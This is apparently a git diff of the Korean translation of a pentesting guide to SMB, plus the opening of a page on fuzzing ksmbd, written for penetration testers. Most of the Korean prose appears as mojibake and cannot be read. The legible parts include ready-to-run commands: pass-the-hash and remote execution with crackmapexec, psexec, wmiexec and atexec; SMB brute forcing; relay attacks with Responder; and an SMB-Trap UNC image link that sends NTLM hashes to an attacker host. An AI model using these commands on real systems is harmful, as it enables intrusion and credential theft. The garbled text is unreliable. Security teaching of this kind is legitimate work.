**๊ธฐ๋ณธ ๊ตฌ์„ฑ**์€ ๋ณดํ†ต `/etc/samba/smb.conf`์— ์œ„์น˜ํ•˜๋ฉฐ ๋ช‡ ๊ฐ€์ง€ **์œ„ํ—˜ํ•œ ์„ค์ •**์„ ํฌํ•จํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: | **์„ค์ •** | **์„ค๋ช…** | | --------------------------- | ------------------------------------------------------------------- | -| `browseable = yes` | ํ˜„์žฌ ์„œ๋ฒ„์—์„œ ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ ๊ณต์œ ๋ฅผ ๋‚˜์—ดํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ—ˆ์šฉํ•ฉ๋‹ˆ๊นŒ? | -| `read only = no` | ํŒŒ์ผ ์ƒ์„ฑ ๋ฐ ์ˆ˜์ •์„ ๊ธˆ์ง€ํ•ฉ๋‹ˆ๊นŒ? | -| `writable = yes` | ์‚ฌ์šฉ์ž๊ฐ€ ํŒŒ์ผ์„ ์ƒ์„ฑํ•˜๊ณ  ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ—ˆ์šฉํ•ฉ๋‹ˆ๊นŒ? | -| `guest ok = yes` | ๋น„๋ฐ€๋ฒˆํ˜ธ ์—†์ด ์„œ๋น„์Šค์— ์—ฐ๊ฒฐํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ—ˆ์šฉํ•ฉ๋‹ˆ๊นŒ? | -| `enable privileges = yes` | ํŠน์ • SID์— ํ• ๋‹น๋œ ๊ถŒํ•œ์„ ์ ์šฉํ•ฉ๋‹ˆ๊นŒ? | +| `browseable = yes` | ํ˜„์žฌ ๊ณต์œ ์—์„œ ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ ๊ณต์œ ๋ฅผ ๋‚˜์—ดํ•˜๋„๋ก ํ—ˆ์šฉํ•ฉ๋‹ˆ๊นŒ? | +| `read only = no` | ํŒŒ์ผ์˜ ์ƒ์„ฑ ๋ฐ ์ˆ˜์ •์„ ๊ธˆ์ง€ํ•ฉ๋‹ˆ๊นŒ? | +| `writable = yes` | ์‚ฌ์šฉ์ž๊ฐ€ ํŒŒ์ผ์„ ์ƒ์„ฑํ•˜๊ณ  ์ˆ˜์ •ํ•˜๋„๋ก ํ—ˆ์šฉํ•ฉ๋‹ˆ๊นŒ? | +| `guest ok = yes` | ๋น„๋ฐ€๋ฒˆํ˜ธ ์—†์ด ์„œ๋น„์Šค์— ์—ฐ๊ฒฐํ•˜๋Š” ๊ฒƒ์„ ํ—ˆ์šฉํ•ฉ๋‹ˆ๊นŒ? | +| `enable privileges = yes` | ํŠน์ • SID์— ํ• ๋‹น๋œ ๊ถŒํ•œ์„ ์กด์ค‘ํ•ฉ๋‹ˆ๊นŒ? | | `create mask = 0777` | ์ƒˆ๋กœ ์ƒ์„ฑ๋œ ํŒŒ์ผ์— ์–ด๋–ค ๊ถŒํ•œ์ด ๋ถ€์—ฌ๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๊นŒ? | | `directory mask = 0777` | ์ƒˆ๋กœ ์ƒ์„ฑ๋œ ๋””๋ ‰ํ„ฐ๋ฆฌ์— ์–ด๋–ค ๊ถŒํ•œ์ด ๋ถ€์—ฌ๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๊นŒ? | | `logon script = script.sh` | ์‚ฌ์šฉ์ž ๋กœ๊ทธ์ธ ์‹œ ์–ด๋–ค ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์‹คํ–‰๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๊นŒ? | -| `magic script = script.sh` | ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์ข…๋ฃŒ๋  ๋•Œ ์–ด๋–ค ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰ํ•ด์•ผ ํ•ฉ๋‹ˆ๊นŒ? | -| `magic output = script.out` | magic script์˜ ์ถœ๋ ฅ์€ ์–ด๋””์— ์ €์žฅ๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๊นŒ? | +| `magic script = script.sh` | ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์ข…๋ฃŒ๋  ๋•Œ ์–ด๋–ค ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์‹คํ–‰๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๊นŒ? | +| `magic output = script.out` | magic script์˜ ์ถœ๋ ฅ์ด ์–ด๋””์— ์ €์žฅ๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๊นŒ? | -๋ช…๋ น์–ด `smbstatus`๋Š” **์„œ๋ฒ„** ๋ฐ **๋ˆ„๊ฐ€ ์—ฐ๊ฒฐ๋˜์–ด ์žˆ๋Š”์ง€**์— ๋Œ€ํ•œ ์ •๋ณด๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. +๋ช…๋ น `smbstatus`๋Š” **์„œ๋ฒ„** ๋ฐ **๋ˆ„๊ฐ€ ์—ฐ๊ฒฐ๋˜์–ด ์žˆ๋Š”์ง€**์— ๋Œ€ํ•œ ์ •๋ณด๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ## Kerberos๋ฅผ ์‚ฌ์šฉํ•œ ์ธ์ฆ -๋„๊ตฌ **smbclient**์™€ **rpcclient**๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ **Kerberos**์— **์ธ์ฆ**ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +๋„๊ตฌ **smbclient**์™€ **rpcclient**๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ **kerberos**์— **์ธ์ฆ**ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: ```bash smbclient --kerberos //ws01win10.domain.com/C$ rpcclient -k ws01win10.domain.com @@ -357,7 +356,7 @@ rpcclient -k ws01win10.domain.com ### **crackmapexec** -crackmapexec๋Š” **mmcexec, smbexec, atexec, wmiexec** ์ค‘ ์–ด๋А ๊ฒƒ์„ **์•…์šฉํ•˜์—ฌ** ๋ช…๋ น์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, **๊ธฐ๋ณธ** ๋ฐฉ๋ฒ•์€ **wmiexec**์ž…๋‹ˆ๋‹ค. ์‚ฌ์šฉํ•  ์˜ต์…˜์€ `--exec-method` ํŒŒ๋ผ๋ฏธํ„ฐ๋กœ ์ง€์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +crackmapexec๋Š” ๋ช…๋ น์„ **์•…์šฉํ•˜์—ฌ** **mmcexec, smbexec, atexec, wmiexec** ์ค‘ ์–ด๋–ค ๊ฒƒ์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, **wmiexec**๊ฐ€ **๊ธฐ๋ณธ** ๋ฐฉ๋ฒ•์ž…๋‹ˆ๋‹ค. ์‚ฌ์šฉํ•  ์˜ต์…˜์€ `--exec-method` ํŒŒ๋ผ๋ฏธํ„ฐ๋กœ ์ง€์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: ```bash apt-get install crackmapexec @@ -381,8 +380,8 @@ crackmapexec smb -d -u Administrator -H #Pass-The-Hash ``` ### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md) -๋‘ ์˜ต์…˜ ๋ชจ๋‘ ๋Œ€์ƒ ์‹œ์Šคํ…œ์— **์ƒˆ ์„œ๋น„์Šค๋ฅผ ์ƒ์„ฑ**(SMB๋ฅผ ํ†ตํ•ด _\pipe\svcctl_ ์‚ฌ์šฉ)ํ•˜๊ณ  ์ด๋ฅผ ์ด์šฉํ•ด **๋ฌด์–ธ๊ฐ€๋ฅผ ์‹คํ–‰**ํ•ฉ๋‹ˆ๋‹ค (**psexec**๋Š” ์‹คํ–‰ ํŒŒ์ผ์„ ADMIN$ ๊ณต์œ ์— **upload**ํ•˜๊ณ  **smbexec**๋Š” **cmd.exe/powershell.exe**๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋ฉฐ ์ธ์ˆ˜(arguments)์— payload๋ฅผ ๋„ฃ์Šต๋‹ˆ๋‹ค --**file-less technique**--).\ -**์ž์„ธํ•œ ์ •๋ณด**: [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md) ๋ฐ [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\ +๋‘ ์˜ต์…˜์€ ํ”ผํ•ด์ž ๋จธ์‹ ์— **์ƒˆ ์„œ๋น„์Šค๋ฅผ ์ƒ์„ฑ**(SMB๋ฅผ ํ†ตํ•ด _\pipe\svcctl_ ์‚ฌ์šฉ)ํ•˜๊ณ  ์ด๋ฅผ ์ด์šฉํ•ด **๋ฌด์–ธ๊ฐ€๋ฅผ ์‹คํ–‰**ํ•ฉ๋‹ˆ๋‹ค (**psexec**๋Š” ์‹คํ–‰ ํŒŒ์ผ์„ ADMIN$ ๊ณต์œ ์— **์—…๋กœ๋“œ**ํ•˜๊ณ  **smbexec**๋Š” **cmd.exe/powershell.exe**๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋ฉฐ ์ธ์ˆ˜์— ํŽ˜์ด๋กœ๋“œ๋ฅผ ๋„ฃ์Šต๋‹ˆ๋‹ค --**file-less technique-**-).\ +**์ถ”๊ฐ€ ์ •๋ณด**: [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)์™€ [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\ **kali**์—์„œ๋Š” /usr/share/doc/python3-impacket/examples/์— ์œ„์น˜ํ•ฉ๋‹ˆ๋‹ค. ```bash #If no password is provided, it will be prompted @@ -391,11 +390,11 @@ crackmapexec smb -d -u Administrator -H #Pass-The-Hash psexec \\192.168.122.66 -u Administrator -p 123456Ww psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash ``` -**๋งค๊ฐœ๋ณ€์ˆ˜**`-k`๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด **NTLM** ๋Œ€์‹  **kerberos**๋กœ ์ธ์ฆํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +**parameter**`-k`์„(๋ฅผ) ์‚ฌ์šฉํ•˜๋ฉด **NTLM** ๋Œ€์‹  **kerberos**๋กœ ์ธ์ฆํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec -๋””์Šคํฌ๋ฅผ ๊ฑด๋“œ๋ฆฌ๊ฑฐ๋‚˜ ์ƒˆ๋กœ์šด ์„œ๋น„์Šค๋ฅผ ์‹คํ–‰ํ•˜์ง€ ์•Š๊ณ  DCOM์„ ํ†ตํ•ด **port 135.**๋กœ ์€๋ฐ€ํ•˜๊ฒŒ ๋ช…๋ น ์…ธ์„ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค.\ +๋””์Šคํฌ๋ฅผ ๊ฑด๋“œ๋ฆฌ๊ฑฐ๋‚˜ ์ƒˆ๋กœ์šด ์„œ๋น„์Šค๋ฅผ ์‹คํ–‰ํ•˜์ง€ ์•Š๊ณ  DCOM์„ ํ†ตํ•ด **port 135.**\ ์‚ฌ์šฉํ•˜์—ฌ ์ปค๋งจ๋“œ ์…ธ์„ ์€๋ฐ€ํ•˜๊ฒŒ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค. **kali**์—์„œ๋Š” /usr/share/doc/python3-impacket/examples/์— ์œ„์น˜ํ•ฉ๋‹ˆ๋‹ค. ```bash #If no password is provided, it will be prompted @@ -403,7 +402,7 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass ./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash #You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted ``` -**parameter**`-k`๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด **NTLM** ๋Œ€์‹  **kerberos**๋กœ ์ธ์ฆํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +**๋งค๊ฐœ๋ณ€์ˆ˜**`-k`๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด **NTLM** ๋Œ€์‹  **kerberos**๋กœ ์ธ์ฆํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ```bash #If no password is provided, it will be prompted ./dcomexec.py [[domain/]username[:password]@] @@ -412,7 +411,7 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass ``` ### [AtExec](../../windows-hardening/lateral-movement/atexec.md) -์ž‘์—… ์Šค์ผ€์ค„๋Ÿฌ๋ฅผ ํ†ตํ•ด ๋ช…๋ น์„ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค (SMB๋ฅผ ํ†ตํ•ด _\pipe\atsvc_ ์‚ฌ์šฉ).\ +Task Scheduler๋ฅผ ํ†ตํ•ด ๋ช…๋ น์„ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค (SMB๋ฅผ ํ†ตํ•ด _\pipe\atsvc_ ์‚ฌ์šฉ).\ **kali**์—์„œ๋Š” /usr/share/doc/python3-impacket/examples/์— ์œ„์น˜ํ•ฉ๋‹ˆ๋‹ค. ```bash ./atexec.py [[domain/]username[:password]@] "command" @@ -422,7 +421,7 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass [https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/) -### ksmbd ๊ณต๊ฒฉ ํ‘œ๋ฉด ๋ฐ SMB2/SMB3 protocol fuzzing (syzkaller) +### ksmbd ๊ณต๊ฒฉ ํ‘œ๋ฉด ๋ฐ SMB2/SMB3 ํ”„๋กœํ† ์ฝœ ํผ์ง• (syzkaller) {{#ref}} ksmbd-attack-surface-and-fuzzing-syzkaller.md @@ -430,19 +429,19 @@ ksmbd-attack-surface-and-fuzzing-syzkaller.md ## **Bruteforce users credentials** -**๊ถŒ์žฅํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ์ตœ๋Œ€ ํ—ˆ์šฉ ์‹œ๋„๋ฅผ ์ดˆ๊ณผํ•˜๋ฉด ๊ณ„์ •์ด ์ฐจ๋‹จ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.** +**๊ถŒ์žฅํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ํ—ˆ์šฉ๋œ ์ตœ๋Œ€ ์‹œ๋„ ํšŸ์ˆ˜๋ฅผ ์ดˆ๊ณผํ•˜๋ฉด ๊ณ„์ •์ด ์ฐจ๋‹จ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค** ```bash nmap --script smb-brute -p 445 ridenum.py 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name ``` ## SMB relay attack -์ด ๊ณต๊ฒฉ์€ Responder ํˆดํ‚ท์„ ์‚ฌ์šฉํ•ด ๋‚ด๋ถ€ ๋„คํŠธ์›Œํฌ์—์„œ **SMB authentication sessions**์„ ์บก์ฒ˜ํ•˜๊ณ , ์ด๋ฅผ **target machine**์œผ๋กœ **relays**ํ•ฉ๋‹ˆ๋‹ค. ์ธ์ฆ **session**์ด ์„ฑ๊ณตํ•˜๋ฉด ์ž๋™์œผ๋กœ **system** **shell**๋กœ ์ง„์ž…ํ•ฉ๋‹ˆ๋‹ค.\ -[**More information about this attack here.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) +์ด ๊ณต๊ฒฉ์€ Responder ํˆดํ‚ท์„ ์‚ฌ์šฉํ•˜์—ฌ ๋‚ด๋ถ€ ๋„คํŠธ์›Œํฌ์—์„œ **SMB authentication sessions**์„ ์บก์ฒ˜ํ•˜๊ณ , ์ด๋ฅผ **relays** ํ•˜์—ฌ **target machine**์œผ๋กœ ์ „๋‹ฌํ•ฉ๋‹ˆ๋‹ค. ์ธ์ฆ **session is successful** ํ•˜๋ฉด ์ž๋™์œผ๋กœ **system** **shell**์— ๋“ค์–ด๊ฐ€๊ฒŒ ๋ฉ๋‹ˆ๋‹ค. +[**์ด ๊ณต๊ฒฉ์— ๋Œ€ํ•œ ์ž์„ธํ•œ ์ •๋ณด๋Š” ์—ฌ๊ธฐ๋ฅผ ์ฐธ์กฐํ•˜์„ธ์š”.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) ## SMB-Trap -Windows ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ URLMon.dll์€ ํŽ˜์ด์ง€๊ฐ€ SMB๋ฅผ ํ†ตํ•ด ์ฝ˜ํ…์ธ ์— ์ ‘๊ทผํ•˜๋ ค ํ•  ๋•Œ ์ž๋™์œผ๋กœ ํ˜ธ์ŠคํŠธ์— ์ธ์ฆ์„ ์‹œ๋„ํ•ฉ๋‹ˆ๋‹ค. ์˜ˆ: `img src="\\10.10.10.10\path\image.jpg"` +Windows ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ URLMon.dll์€ ํŽ˜์ด์ง€๊ฐ€ SMB๋ฅผ ํ†ตํ•ด ์ผ๋ถ€ ์ปจํ…์ธ ์— ์ ‘๊ทผํ•˜๋ ค ํ•  ๋•Œ ์ž๋™์œผ๋กœ ํ˜ธ์ŠคํŠธ์— ์ธ์ฆ์„ ์‹œ๋„ํ•ฉ๋‹ˆ๋‹ค. ์˜ˆ: `img src="\\10.10.10.10\path\image.jpg"` ์ด ๋™์ž‘์€ ๋‹ค์Œ ํ•จ์ˆ˜๋“ค์—์„œ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค: @@ -451,21 +450,21 @@ Windows ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ URLMon.dll์€ ํŽ˜์ด์ง€๊ฐ€ SMB๋ฅผ ํ†ตํ•ด ์ฝ˜ํ…์ธ ์— - URLOpenStream - URLOpenBlockingStream -์ด๋Š” ์ผ๋ถ€ ๋ธŒ๋ผ์šฐ์ € ๋ฐ ๋„๊ตฌ(์˜ˆ: Skype)์—์„œ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. +์ด ํ•จ์ˆ˜๋“ค์€ ์ผ๋ถ€ ๋ธŒ๋ผ์šฐ์ € ๋ฐ ๋„๊ตฌ(์˜ˆ: Skype)์—์„œ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. -![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (358).png>) +![์ถœ์ฒ˜: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (358).png>) ### SMBTrap using MitMf -![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (892).png>) +![์ถœ์ฒ˜: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (892).png>) ## NTLM Theft -SMB Trapping๊ณผ ์œ ์‚ฌํ•˜๊ฒŒ, target system์— ์•…์„ฑ ํŒŒ์ผ์„ ์‹ฌ๋Š” ๊ฒƒ(์˜ˆ: SMB๋ฅผ ํ†ตํ•ด)์€ SMB ์ธ์ฆ ์‹œ๋„๋ฅผ ์œ ๋ฐœํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, Responder์™€ ๊ฐ™์€ ๋„๊ตฌ๋กœ NetNTLMv2 ํ•ด์‹œ๋ฅผ ๊ฐ€๋กœ์ฑŒ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ ํ•ด์‹œ๋Š” ์˜คํ”„๋ผ์ธ์—์„œ ํฌ๋ž™ํ•˜๊ฑฐ๋‚˜ [SMB relay attack](#smb-relay-attack)์— ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +SMB Trapping๊ณผ ์œ ์‚ฌํ•˜๊ฒŒ, ์˜ˆ๋ฅผ ๋“ค์–ด SMB๋ฅผ ํ†ตํ•ด target system์— ์•…์„ฑ ํŒŒ์ผ์„ ์‹ฌ๋Š” ๊ฒƒ์€ SMB ์ธ์ฆ ์‹œ๋„๋ฅผ ์œ ๋ฐœํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, Responder ๊ฐ™์€ ๋„๊ตฌ๋กœ NetNTLMv2 ํ•ด์‹œ๋ฅผ ๊ฐ€๋กœ์ฑŒ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฐ ํ•ด์‹œ๋Š” ์˜คํ”„๋ผ์ธ์—์„œ ํฌ๋ž™๋˜๊ฑฐ๋‚˜ [SMB relay attack](#smb-relay-attack)์— ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -[See: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft) +[์ฐธ์กฐ: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft) -## HackTricks Automatic Commands +## HackTricks ์ž๋™ ๋ช…๋ น ``` Protocol_Name: SMB #Protocol Abbreviation if there is one. Port_Number: 137,138,139 #Comma separated if there is more than one. diff --git a/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md b/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md index 19e5c2d2c..410403c82 100644 --- a/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md +++ b/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md @@ -1,55 +1,55 @@ -# ksmbd ๊ณต๊ฒฉ ํ‘œ๋ฉด ๋ฐ SMB2/SMB3 ํ”„๋กœํ† ์ฝœ ํผ์ง• (syzkaller) +# ksmbd ๊ณต๊ฒฉ ํ‘œ๋ฉด & SMB2/SMB3 ํ”„๋กœํ† ์ฝœ ํผ์ง• (syzkaller) {{#include ../../banners/hacktricks-training.md}} ## ๊ฐœ์š” -์ด ๋ฌธ์„œ๋Š” syzkaller๋ฅผ ์‚ฌ์šฉํ•ด Linux in-kernel SMB ์„œ๋ฒ„(ksmbd)๋ฅผ ํ…Œ์ŠคํŠธํ•˜๊ณ  ํผ์ง•ํ•˜๋Š” ์‹ค์šฉ ๊ธฐ์ˆ ๋“ค์„ ์ถ”์ƒํ™”ํ•ด์„œ ์„ค๋ช…ํ•ฉ๋‹ˆ๋‹ค. ๊ตฌ์„ฑ ๋ณ€๊ฒฝ์„ ํ†ตํ•ด ํ”„๋กœํ† ์ฝœ ๊ณต๊ฒฉ ํ‘œ๋ฉด์„ ํ™•์žฅํ•˜๊ณ , SMB2 ์—ฐ์‚ฐ์„ ์ฒด์ด๋‹ํ•  ์ˆ˜ ์žˆ๋Š” ์ƒํƒœ ์œ ์ง€ํ˜• ํ•˜๋‹ˆ์Šค(stateful harness)๋ฅผ ๊ตฌ์ถ•ํ•˜๋ฉฐ, ๋ฌธ๋ฒ•์ ์œผ๋กœ ์œ ํšจํ•œ PDU๋ฅผ ์ƒ์„ฑํ•˜๊ณ , ์•ฝํ•˜๊ฒŒ ์ปค๋ฒ„๋˜๋Š” ์ฝ”๋“œ ๊ฒฝ๋กœ์— ๋ณ€ํ˜•(mutation)์„ ํŽธํ–ฅ์‹œ์ผœ ์œ ํšจํ•œ ๋ฒ„๊ทธ๋ฅผ ์ฐพ๋Š” ๋ฐฉ๋ฒ•, ๊ทธ๋ฆฌ๊ณ  focus_areas์™€ ANYBLOB ๊ฐ™์€ syzkaller ๊ธฐ๋Šฅ์„ ํ™œ์šฉํ•˜๋Š” ๋ฐฉ๋ฒ•์— ์ค‘์ ์„ ๋‘ก๋‹ˆ๋‹ค. ์›๋ž˜ ์—ฐ๊ตฌ๋Š” ํŠน์ • CVE๋“ค์„ ์—ด๊ฑฐํ•˜์ง€๋งŒ, ์—ฌ๊ธฐ์„œ๋Š” ์žฌ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ ๋ฐฉ๋ฒ•๋ก ๊ณผ ์ž์‹  ํ™˜๊ฒฝ์— ๋งž๊ฒŒ ์ ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ๊ตฌ์ฒด์  ์Šค๋‹ˆํŽซ์— ์ค‘์ ์„ ๋‘ก๋‹ˆ๋‹ค. +์ด ํŽ˜์ด์ง€๋Š” syzkaller๋ฅผ ์‚ฌ์šฉํ•ด Linux ์ธ์ปค๋„ SMB ์„œ๋ฒ„(ksmbd)๋ฅผ ์‹คํ–‰ํ•˜๊ณ  ํผ์ง•ํ•˜๊ธฐ ์œ„ํ•œ ์‹ค์šฉ ๊ธฐ๋ฒ•๋“ค์„ ์ถ”์ƒํ™”ํ•ฉ๋‹ˆ๋‹ค. ๊ตฌ์„ฑ์œผ๋กœ ํ”„๋กœํ† ์ฝœ ๊ณต๊ฒฉ ํ‘œ๋ฉด์„ ํ™•์žฅํ•˜๊ณ , SMB2 ์—ฐ์‚ฐ์„ ์ฒด์ด๋‹ํ•  ์ˆ˜ ์žˆ๋Š” ์ƒํƒœ ์œ ์ง€ ํ•˜๋‹ˆ์Šค(stateful harness)๋ฅผ ๊ตฌ์ถ•ํ•˜๋ฉฐ, ๋ฌธ๋ฒ•์— ๋งž๋Š” PDU๋ฅผ ์ƒ์„ฑํ•˜๊ณ , ์•ฝํ•˜๊ฒŒ ์ปค๋ฒ„๋˜๋Š” ์ฝ”๋“œ ๊ฒฝ๋กœ๋กœ ๋ณ€ํ˜•์„ ํŽธํ–ฅ์‹œํ‚ค๋ฉฐ, focus_areas์™€ ANYBLOB ๊ฐ™์€ syzkaller ๊ธฐ๋Šฅ์„ ํ™œ์šฉํ•˜๋Š” ๋ฐ ์ค‘์ ์„ ๋‘ก๋‹ˆ๋‹ค. ์›๋ณธ ์—ฐ๊ตฌ๋Š” ํŠน์ • CVE๋“ค์„ ์—ด๊ฑฐํ•˜์ง€๋งŒ, ์—ฌ๊ธฐ์„œ๋Š” ์žฌ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ ๋ฐฉ๋ฒ•๋ก ๊ณผ ์ž์‹ ์˜ ํ™˜๊ฒฝ์— ๋งž๊ฒŒ ์ ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ๊ตฌ์ฒด์ ์ธ ์Šค๋‹ˆํŽซ์„ ๊ฐ•์กฐํ•ฉ๋‹ˆ๋‹ค. -๋Œ€์ƒ ๋ฒ”์œ„: SMB2/SMB3 over TCP. Kerberos and RDMA๋Š” ํ•˜๋‹ˆ์Šค ๋‹จ์ˆœํ™”๋ฅผ ์œ„ํ•ด ์˜๋„์ ์œผ๋กœ ๋ฒ”์œ„์—์„œ ์ œ์™ธํ•ฉ๋‹ˆ๋‹ค. +๋Œ€์ƒ ๋ฒ”์œ„: SMB2/SMB3 over TCP. Kerberos์™€ RDMA๋Š” ํ•˜๋‹ˆ์Šค ๋‹จ์ˆœํ™”๋ฅผ ์œ„ํ•ด ์˜๋„์ ์œผ๋กœ ๋ฒ”์œ„์—์„œ ์ œ์™ธํ•ฉ๋‹ˆ๋‹ค. --- ## ๊ตฌ์„ฑ์œผ๋กœ ksmbd ๊ณต๊ฒฉ ํ‘œ๋ฉด ํ™•์žฅ -๊ธฐ๋ณธ์ ์œผ๋กœ ์ตœ์†Œ ๊ตฌ์„ฑ์˜ ksmbd๋Š” ์„œ๋ฒ„์˜ ๋งŽ์€ ๋ถ€๋ถ„์„ ํ…Œ์ŠคํŠธํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ์ถ”๊ฐ€ ํŒŒ์„œ/ํ•ธ๋“ค๋Ÿฌ๋ฅผ ํ†ต๊ณผํ•˜๊ณ  ๋” ๊นŠ์€ ์ฝ”๋“œ ๊ฒฝ๋กœ์— ๋„๋‹ฌํ•˜๊ธฐ ์œ„ํ•ด ๋‹ค์Œ ๊ธฐ๋Šฅ๋“ค์„ ํ™œ์„ฑํ™”ํ•˜์„ธ์š”: +๊ธฐ๋ณธ์ ์ธ ksmbd ์„ค์ •์€ ์„œ๋ฒ„์˜ ๋งŽ์€ ๋ถ€๋ถ„์„ ํ…Œ์ŠคํŠธํ•˜์ง€ ๋ชปํ•œ ์ฑ„๋กœ ๋‘ก๋‹ˆ๋‹ค. ๋‹ค์Œ ๊ธฐ๋Šฅ๋“ค์„ ํ™œ์„ฑํ™”ํ•˜์—ฌ ์ถ”๊ฐ€ ํŒŒ์„œ/ํ•ธ๋“ค๋Ÿฌ๋ฅผ ํ†ต๊ณผ์‹œํ‚ค๊ณ  ๋” ๊นŠ์€ ์ฝ”๋“œ ๊ฒฝ๋กœ์— ๋„๋‹ฌํ•˜์„ธ์š”: - Global-level - Durable handles - Server multi-channel - SMB2 leases - Per-share-level -- Oplocks (on by default) +- Oplocks (๊ธฐ๋ณธ์ ์œผ๋กœ ํ™œ์„ฑํ™”๋จ) - VFS objects -์ด ๊ธฐ๋Šฅ๋“ค์„ ํ™œ์„ฑํ™”ํ•˜๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๋ชจ๋“ˆ์—์„œ ์‹คํ–‰์ด ์ฆ๊ฐ€ํ•ฉ๋‹ˆ๋‹ค: -- smb2pdu.c (command parsing/dispatch) -- ndr.c (NDR encode/decode) -- 